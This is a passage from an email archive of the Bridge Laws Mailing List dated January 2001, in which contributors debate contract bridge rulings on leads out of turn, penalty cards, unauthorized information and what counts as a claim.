<3.0.5.32.20010120233500.00889100@mail.netvision.net.il> X-Sender: moranl@mail.netvision.net.il X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Sat, 20 Jan 2001 23:35:00 +0200 To: bridge-laws@rgb.anu.edu.au From: Eitan Levy Subject: RE: [BLML] penalties AND UI - too much ? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >At 4:05 PM +0000 1/20/01, Fearghal O'Boyle wrote: > >>So while I want to allow the Diamond switch (50D2, 72A5) as others have >>indicated, I feel declarer is correct in his analysis (50D1, 16C2) and the >>Diamond switch is not allowed if another switch is an LA. >16C2 pertains to *withdrawn* actions. There has been no such action >here. Had the declarer placed a lead restriction, allowing the DA to >be withdrawn and placed in the player's hand (50D2(a)) *then* the >fact that player holds that card is UI, and his partner may not, >under 16C2, lead a diamond. But as long as the DA remains a penalty >card, the player can lead whatever he wants - including a diamond. > >Regards, > >Ed Law 16C2 doesnt pertain to *withdrawn* actions. It pertains to *withdrawn actions by the offending side* - not offending *player*. And it pertains to *actions* not *cards*. The OOT lead (an action) has been withdrawn and substituted by another lead (action). And if Law 16C2 doesn't apply why does Law 50D1 state that the information is unauthorized? I agree that this law (1) is extremely difficult to implement (in practice, try differentiating between the fact that if a diamond is led the ace must be played is authorized, and the fact that partner has the ace of diamonds is unauthorized) (2) was received with dismay by many TD's (3) is probably ignored by most TD's (at the club level) (4) wouldn't leave us too much time to get on with the game, if we had to analyse virtually every LOOT situation for logical alternatives (5) should be changed BUT it is the law, and it's not for us to arbitrarily ignore it. Eitan -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 09:09:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KM8Vo18068 for bridge-laws-outgoing; Sun, 21 Jan 2001 09:08:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KM8Nt18025 for ; Sun, 21 Jan 2001 09:08:24 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id NAA02735 for ; Sat, 20 Jan 2001 13:22:48 -0900 Date: Sat, 20 Jan 2001 13:08:47 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: [BLML] Signals after OLOOT Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk The recent thread on being allowed to lead to partner's exposed ace and have him pin declarer's queen raises another interesting question. Suppose North is the dealer and opens 1C. Partner overcalls 1D, South bids 1NT, and it is passed out. Partner leads a small diamond out of turn, and declarer exercises his right to forbid a diamond lead. I hold QTxx QTxx xx AKx. I don't want to make a blind guess which major is safer, so I cash the CK. Our agreement is that partner will signal attitude on a king opening lead against NT. A) Is partner allowed to anticipate the problem I am facing trying to find the safest exit, and give me suit preference at trick one? I think this is equivalent to asking, "is it AI to East that West has been forced to make an abnormal lead?" I believe the answer is yes. I further believe that my real-life partner, faced with this situation at the table, would in fact give me a helpful signal instead of blindly giving attitude in clubs. B) What if I discuss this situation with partner, and we now have the agreement "cashing a winner while constrained by a lead penalty asks for suit preference"? The 'discussion' amounted to "Should we do this?" "I would have done that anyway." "Good." That is, it hasn't changed the way either of us would play. Now we come down to an ugly argument over definition 2 of a convention: "Defender's play that serves to convey a meaning by agreement rather than inference." The ACBL would probably say "no conventions allowed after an irregularity" and complain bitterly about how partner and I should never have had this conversation and are now playing an illegal convention. I have some sympathy for that view - but what am I supposed to do? How can I QUIT playing a 'convention' that (rather like Fourth Suit Forcing) is simply a formal spelling out of what common sense forces me to do anyway? Perhaps I can hide behind the words "rather than" in the definition, and say that a play conveying a meaning by inference AND agreement isn't a convention. Perhaps I can hide behind L72A5 and say partner and I are allowed to do all we can to recover once the penalty for our irregularity has been paid. Comments? GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 10:09:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KN8RR26444 for bridge-laws-outgoing; Sun, 21 Jan 2001 10:08:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout4-0.nyroc.rr.com (mailout4-0.nyroc.rr.com [24.92.226.120]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KN8Lt26440 for ; Sun, 21 Jan 2001 10:08:21 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout4-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0KN4Oo21157; Sat, 20 Jan 2001 18:04:25 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <5.0.2.1.0.20010120212317.00a21d10@mail.rz.uni-duesseldorf.de> References: <5.0.2.1.0.20010120133123.00a23510@mail.rz.uni-duesseldorf.de> <5.0.2.1.0.20010120133123.00a23510@mail.rz.uni-duesseldorf.de> <5.0.2.1.0.20010120212317.00a21d10@mail.rz.uni-duesseldorf.de> Date: Sat, 20 Jan 2001 18:01:58 -0500 To: Richard Bley From: Ed Reppert Subject: Re: [BLML] Claim? Cc: Bridge Laws Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 9:27 PM +0100 1/20/01, Richard Bley wrote: >Sorry; obviously I couldn=B4t explain my point properly: I didn=B4t want=20 >to say: Dont use this law. I wanted to say: please change this law.=20 >Of course as a TD I have to bring the laws into effect regardless=20 >how silly I think this is. > >>Questions: Given Law 68 and Law 84B, how do you rule if called to the >>table in this case? (That is, where declarer, on seeing dummy, says >>"Oh, we're going to make twelve tricks.") Do you do what the Law >>*says* you must do, or do you do something else? If the latter, what >>of Law 81B2? If your ruling is appealed, can the AC do anything, in >>view of Law 93B3, other than try to persuade the TD to change it? > >see above ;-) Sorry, Richard. Guess I wasn't sure which camp you were in. I am now. :-) Actually, I'm interested in how the folks in the "it's silly to rule=20 that way, let's ignore the law" camp would answer those last=20 questions. Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or=20 http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmoaWL2UW3au93vOEQJOzACg12Z+Vw2UWxh2Wn08G8B9zDNTQK8AoN9x XbDoYjm488UsxLGvd7hUJQ4H =CS1i -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 10:59:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KNwwW26473 for bridge-laws-outgoing; Sun, 21 Jan 2001 10:58:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout4-0.nyroc.rr.com (mailout4-1.nyroc.rr.com [24.92.226.166]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KNwqt26469 for ; Sun, 21 Jan 2001 10:58:53 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout4-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0KNsUo00410; Sat, 20 Jan 2001 18:54:40 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <3.0.5.32.20010120233500.00889100@mail.netvision.net.il> References: <3.0.5.32.20010120233500.00889100@mail.netvision.net.il> Date: Sat, 20 Jan 2001 18:50:22 -0500 To: Eitan Levy From: Ed Reppert Subject: RE: [BLML] penalties AND UI - too much ? Cc: bridge-laws@rgb.anu.edu.au Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 11:35 PM +0200 1/20/01, Eitan Levy wrote: >Law 16C2 doesnt pertain to *withdrawn* actions. It pertains to *withdrawn >actions by the offending side* - not offending *player*. And it pertains to >*actions* not *cards*. The OOT lead (an action) has been withdrawn and >substituted by another lead (action). And if Law 16C2 doesn't apply why >does Law 50D1 state that the information is unauthorized? > >I agree that this law >(1) is extremely difficult to implement (in practice, try differentiating >between the fact that if a diamond is led the ace must be played is >authorized, and the fact that partner has the ace of diamonds is unauthorized) >(2) was received with dismay by many TD's >(3) is probably ignored by most TD's (at the club level) >(4) wouldn't leave us too much time to get on with the game, if we had to >analyse virtually every LOOT situation for logical alternatives >(5) should be changed >BUT it is the law, and it's not for us to arbitrarily ignore it. I do *not* arbitrarily ignore it. I implement it as I stated. We may disagree on what the law *says*, but don't accuse me of ignoring it. I find it extremely difficult, nay, impossible, to conclude that the laws require me not to know that my partner has the ace of diamonds when I can see it right there on the table -because the laws require that it be displayed there so that *everyone* can see it. Aside from that, law 50D2(b) says that if declarer chooses "not to require or prohibit a lead...the defender may lead *any* card..." [Emphasis mine.] If the law intends that I not lead the suit of my partner's major penalty card, why doesn't it say so right there? This is not the kind of thing the lawmakers would screw up - not when they had to go to all the trouble to write 50dD2(a) right before this part. As to how this law was received by TDs, I couldn't say. Don't care either - it doesn't seem relevant. And if the law must be interpreted as you say, then we *must* analyse every LOOT situation for LAs, whether we want to or not. Do we? Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmomIL2UW3au93vOEQKcoQCgvfAxZJwIFjOWbAdDZOyg/o3D3DkAoJKc gm3iQb2kxDT3klCemgA/xA+R =DtgQ -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 11:55:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0L0tAS26516 for bridge-laws-outgoing; Sun, 21 Jan 2001 11:55:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0L0t0t26507 for ; Sun, 21 Jan 2001 11:55:01 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by tele-post-20.mail.demon.net with smtp (Exim 2.12 #2) id 14K8mS-0000lt-0K for bridge-laws@rgb.anu.edu.au; Sun, 21 Jan 2001 00:54:55 +0000 Message-ID: <$jnOJuAoLda6Ew0a@blakjak.demon.co.uk> Date: Sat, 20 Jan 2001 18:03:20 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Let's get back to the easy stuff References: <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <3.0.6.32.20010119175143.00841150@pop.ulb.ac.be> In-Reply-To: <3.0.6.32.20010119175143.00841150@pop.ulb.ac.be> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk alain gottcheiner writes >At 07:51 19/01/01 -0500, Eric Landau wrote: >>> >Let me try again: North should not take any action by >which he is likely to achieve a more successful outcome with partner >barred than what would have been the expected outcome with his partner >free to bid. > >AG : this seems to me a very good phrasing, which gives the ACs the >guidelines on which to base their decisions. I suggest we keep it written >somewhere. Even expectancy (in the mathematical sense of the term) can be >introduced here, which means that if the punting action sometimes succeeds, >these successes may not be denied as long as they are unlikely. It may be a very good phrasing, but it just seems against the Laws. Surely, we only stop a good result under L23 or L72B1 if it could be inferred at the time of the infraction. If you commit an infraction which silences partner, and you could not have seen an advantage at the time of the infraction, then it is legal thereafter to take an action that gives you an advantage - L72A5. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 11:55:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0L0tAE26517 for bridge-laws-outgoing; Sun, 21 Jan 2001 11:55:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0L0t0t26508 for ; Sun, 21 Jan 2001 11:55:01 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by tele-post-20.mail.demon.net with smtp (Exim 2.12 #2) id 14K8mS-0000lv-0K for bridge-laws@rgb.anu.edu.au; Sun, 21 Jan 2001 00:54:56 +0000 Message-ID: Date: Sat, 20 Jan 2001 18:08:04 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <00a201c0817b$f915f460$1614f7a5@oemcomputer> In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk pam writes >Now why should "(oh dear partner we should be in slam) we have 12 >tricks" be treated any differently from "we have 12 tricks". Not at all: it is quite obvious from other things whether this was a claim or not in both cases. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 14:38:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0L3bRH17286 for bridge-laws-outgoing; Sun, 21 Jan 2001 14:37:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0L3bKt17248 for ; Sun, 21 Jan 2001 14:37:21 +1100 (EST) Received: from Aspire.eiu.edu (eiuts121.eiu.edu [139.67.16.121]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id VAA12145 for ; Sat, 20 Jan 2001 21:38:31 -0600 (CST) Message-Id: <3.0.6.32.20010120214052.007e1e00@eiu.edu> X-Sender: cfgcs@eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Sat, 20 Jan 2001 21:40:52 -0600 To: Bridge Laws From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I haven't been able to read all the posts on this thread--apologies if someone has alreayd made this point. At 11:55 AM 1/20/01 +0000, David Burn wrote: >DWS wrote: > >> We all know what a claim is. A player puts his hand down and says >> "They are all mine" or "Give you a top trump" or something. But we are >> being asked to call something a claim when a player demonstrably did not >> intend to claim. How can that be right? > >It is right for the same reason as it is right to call a failure to follow suit a revoke, when a player demonstrably did not intend to revoke. What players intend does not matter; what matters is what players actually do. Revoking is an accident--players never intend to revoke. As such, it would be silly to write revoke law such that only intentional revokes were revokes. Similarly for leads out of turn, etc. These are mistakes, violations of proceedure, infractions of law. Claiming is not an accident. It is not a violation of proper proceedure that requires punishment. It is a voluntary action designed to improve the game of bridge. Hence, it makes perfect sense to argue that if someone obviously wasn't intending to claim, it isn't a claim. I cannot believe that the difference is not obvious. I will try to address the rest of this argument Monday when I have a chance. Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 17:13:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0L6CnQ09323 for bridge-laws-outgoing; Sun, 21 Jan 2001 17:12:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0L6Cgt09319 for ; Sun, 21 Jan 2001 17:12:43 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id VAA24143 for ; Sat, 20 Jan 2001 21:27:09 -0900 Date: Sat, 20 Jan 2001 21:13:08 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] Claim? In-Reply-To: <3.0.6.32.20010120214052.007e1e00@eiu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Sat, 20 Jan 2001, Grant Sterling wrote: > Revoking is an accident--players never intend to revoke. As such, > it would be silly to write revoke law such that only intentional revokes > were revokes. Similarly for leads out of turn, etc. These are mistakes, > violations of proceedure, infractions of law. > Claiming is not an accident. It is not a violation of proper > proceedure that requires punishment. It is a voluntary action designed > to improve the game of bridge. Hence, it makes perfect sense to argue that > if someone obviously wasn't intending to claim, it isn't a claim. *Proper* claims are indeed voluntary (well, depending how strongly you feel about L74B4) actions designed to improve the game. To claim when you don't know exactly which tricks will be won by which side is both an accident (usually) and a violation of procedure that I want to see punished. Making a statement/remark/whatever that *obviously* isn't intended as a claim seems like it should be dealt with like any other extraneous remark and may well be subject to penalty if the opponents fail to find the best defence after it. "Obviously" is going to be tricky to establish sometimes, too. If I may offer another situation that happened in a club game some years ago. No bidding boxes; I deal: Me: 1 heart. LHO: 2 clubs. Partner: PASS. RHO: A most emphatic pass! Me: 2 diamonds. Director ! Bid out of turn! "Obviously" - or so all three other players contended - "A most emphatic pass!" was a humorous reaction to my partner's tone of voice, not a call. (I had my nose in my cards struggling to decide in tempo what to rebid, and didn't see anyone's facial expressions and didn't notice anything all that remarkable in my partner's tone.) What are you going to do? A hardliner says Pass and 2 Diamonds stand and the auction continues, UI to LHO that RHO might not have really wanted to pass. A let's-all-be-friends type might say 2D is withdrawn without penalty because of misleading information and the bidding revents to LHO. A 'majority rules' type will treat 2D like any other bid out of turn. I can see an argument for either of the first two approaches, not for the third. Likewise I can see an argument for treating "we will take 12 tricks" as a claim or as an extraneous remark with redress for whatever confusion it causes, but can see no argument for ignoring it. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 23:26:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LCP0m06312 for bridge-laws-outgoing; Sun, 21 Jan 2001 23:25:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LCOqt06268 for ; Sun, 21 Jan 2001 23:24:53 +1100 (EST) Received: from dodona (host213-123-68-170.dialup.lineone.co.uk [213.123.68.170]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id MAA13558; Sun, 21 Jan 2001 12:24:25 GMT Message-ID: <007c01c083a5$626802c0$aa447bd5@dodona> From: "Grattan Endicott" To: , "'David Stevenson'" , "Kooijman, A." Cc: "Antonio Riccardi" , "Max Bavin" , "William Schoder" References: <67378DEA146DD21194C20000F87B08BA01B8B77D@fdwag002s.fd.agro.nl> Subject: Re: TR: [BLML] Law 71: Concession cancelled Date: Sun, 21 Jan 2001 12:25:24 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "If you are foolish enough to be contented, don't show it, but grumble with the rest." ~ Jerome K. Jerome <===> ----- Original Message ----- From: Kooijman, A. To: 'David Stevenson' ; Sent: Wednesday, January 17, 2001 2:41 PM Subject: RE: TR: [BLML] Law 71: Concession cancelled > > > > > David J Grabiner writes > > >On Mon, 15 Jan 2001, David Stevenson wrote: > > > > >> >71C. Implausible Concession > > >> > if a player has conceded a trick that cannot be lost by > > >> > any normal play of the remaining cards. Until the > > >> > conceding side makes a call on a subsequent board, or > > >> > until the round ends, the Director shall cancel the > > >> > concession of a trick that could not have been lost > > >> > by any normal play of the remaining cards. > > >> > > >> The second sentence has not been deleted. However, it has been realised that it is superfluous, and it is acceptable to treat this Law _as though_ it had been deleted. > > >> > > > > The second sentence, starting with 'Until'and ending with 'cards' for sure has been deleted. All of you analyzing that something is wrong with this sentence in relation to other (parts of) laws are right, which was the reason to decide to take it out. We did this already in '97 I think. So take your pensil and also shout it out. > +=+ The WBFLC meeting of 19th October 1997 recorded this minute: ==The Chairman turned the committee's attention to Law 71C. He pointed to the confusion created by the wording as it had been published. Mr. Kooijman added that if the intention expressed by Mr. Kaplan were given effect there would be a notable difference of treatment as between Law 71 and Law 69. Mr. Endicott read out the proposal circulated by Mr. Kaplan and the aim he had indicated. The committee adopted the opinion put forward by Mr. Bavin that the sentence in 71C beginning "Until the conceding side " does in fact make a provision that is incorporated within the wider provision existing in the immediately preceding words of the law. The Director is to cancel an implausible concession as defined in Law 71C at any time within the correction period established under Law 79C. (As proposed by Mr. Kaplan this "changes the time period ...... from the start of the next board to the usual protest period".)== The committee has been reluctant to change anything in the text of the laws, other than the placing of asterisks, commas, and the sequence of words in a footnote. Under ton it has worked otherwise by interpretation pending the General Review of the laws just commenced. ~ G ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 00:44:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LDhrP06507 for bridge-laws-outgoing; Mon, 22 Jan 2001 00:43:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LDhkt06502 for ; Mon, 22 Jan 2001 00:43:47 +1100 (EST) Received: from dodona (host213-123-67-51.dialup.lineone.co.uk [213.123.67.51]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id NAA08631 for ; Sun, 21 Jan 2001 13:43:21 GMT Message-ID: <000601c083b0$68f5dd00$33437bd5@dodona> From: "Grattan Endicott" To: References: <200101181545.KAA23986@freenet10.carleton.ca><3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu><00a201c0817b$f915f460$1614f7a5@oemcomputer> Subject: Re: [BLML] Claim? Date: Sun, 21 Jan 2001 13:17:59 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "If you are foolish enough to be contented, don't show it, but grumble with the rest." ~ Jerome K. Jerome <===> ----- Original Message ----- From: David Stevenson To: Sent: Saturday, January 20, 2001 6:08 PM Subject: Re: [BLML] Claim? > pam writes > > >Now why should "(oh dear partner we should >> be in slam) we have 12 tricks" be treated any > differently from "we have 12 tricks". > > Not at all: it is quite obvious from other > things whether this was a claim or not in both > cases. > +=+ The reason this is a claim is that it makes a statement as to how many tricks will be won. A statement about the desirable level of contract is not per se a claim; not all desirable contracts make. But the statement "we have twelve tricks" does constitute a claim being a statement within the meaning of Law 68A. 'Other things' do not affect that fact : the reference to intention in this law relates only to 'shows his cards', not to 'statement', nor - by favour of the comma after them - to the words 'suggests that play be curtailed'. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 00:44:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LDhvq06511 for bridge-laws-outgoing; Mon, 22 Jan 2001 00:43:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LDhot06506 for ; Mon, 22 Jan 2001 00:43:51 +1100 (EST) Received: from dodona (host213-123-67-51.dialup.lineone.co.uk [213.123.67.51]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id NAA08649; Sun, 21 Jan 2001 13:43:23 GMT Message-ID: <000701c083b0$6a11ad40$33437bd5@dodona> From: "Grattan Endicott" To: "Gordon Bower" , "Bridge Laws Mailing List" References: Subject: Re: [BLML] Signals after OLOOT Date: Sun, 21 Jan 2001 13:44:11 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "If you are foolish enough to be contented, don't show it, but grumble with the rest." ~ Jerome K. Jerome <===> ----- Original Message ----- From: Gordon Bower To: Bridge Laws Mailing List Sent: Saturday, January 20, 2001 10:08 PM Subject: [BLML] Signals after OLOOT > > The recent thread on being allowed to lead to partner's > exposed ace and have him pin declarer's queen raises > another interesting question. > ~~~~~~~~ \x/ ~~~~~~~~~~~~ > > B) What if I discuss this situation with partner, and we > now have the agreement "cashing a winner while > constrained by a lead penalty asks for suit preference"? > ~~~~~~~~ \x/ ~~~~~~~~~ > > Perhaps I can hide behind the words "rather than" in the > definition, and say that a play conveying a meaning by > inference AND agreement isn't a convention. Perhaps I > can hide behind L72A5 and say partner and I are allowed > to do all we can to recover once the penalty for our > irregularity has been paid. > > Comments? > +=+ Although it is yet another law lacking meticulous attention to its expression, I do not think Law 72A5 allows the player to override regulations, nor laws that deal with inadmissible and illegal bids. When you have an agreement your understanding is based upon that agreement rather than (a need for) an inference. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 02:58:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LFuxa03867 for bridge-laws-outgoing; Mon, 22 Jan 2001 02:56:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to 